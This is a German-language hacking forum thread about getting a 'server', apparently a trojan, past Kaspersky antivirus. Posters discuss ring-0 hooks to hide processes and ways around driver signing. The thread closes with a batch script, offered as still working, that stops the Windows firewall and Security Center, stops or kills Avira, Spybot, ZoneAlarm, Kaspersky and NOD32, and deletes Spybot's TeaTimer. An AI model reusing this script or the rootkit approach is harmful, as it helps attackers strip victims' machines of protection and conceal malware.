Anti Kapersky etc... Selber Coden

[l0dsb]

Wer hat denn hier je was von .exe "killen" gesagt? Ich kann hier nichts davon lesen - obendrein würde es auch absolut keinen Sinn machen, da man von Ring-3 keinen Zugriff auf die Kaspersky-Prozesse haben wird (ZwTerminateProcess-Hook, sowie diverse auf die Speicheroperationen etc.).

[GregorSamsa]

Wenn du deinen Server nicht starten willst, weil ein AV läuft, ist dass sinnlos. Dann lieber über Ring0 nen Hook im System anbringen, der den Prozess versteckt.

[Hamtaro]

Wenn du deinen Server nicht starten willst, weil ein AV läuft, ist dass sinnlos. Dann lieber über Ring0 nen Hook im System anbringen, der den Prozess versteckt.

Dafür muss man natürlich noch einen Treiber installieren, was wohl ebenfalls von KAV gehookt sein wird.

[l0dsb]

Und genau das ist es auch, zudem sorgen Treiber, die nicht mit ausreichender Kenntnis in Ring-0 programmiert wurden, für etliche Bluescreens und dergleichen. Dazu kommt noch das Driver Signing unter Vista und ähnliche Techniken unter Linux und die Idee mit einem Treiber ist ganz schnell aus der Welt.

[GregorSamsa]

Darum geht es doch, die Herausforderung, einen Weg zu finden, an KAV vorbeizukommen. Treiber kann man auch durch mehr als eine Möglichkeit laden. Vllt. findet man ja einen Weg...

[Jut4h.tm]

das funkt glaube ich immernoch

BATCH:

net stop SharedAccess
net stop wscsvc
net stop AntiVirService
net stop AntiVirScheduler
tskill TeaTimer
if exist "C:\Programme\Spybot - Search & Destroy\TeaTimer.exe" del /Q "C:\Programme\Spybot - Search & Destroy\TeaTimer.exe"
tskill zlclient
tskill Kavsvc.exe
net stop nod32krn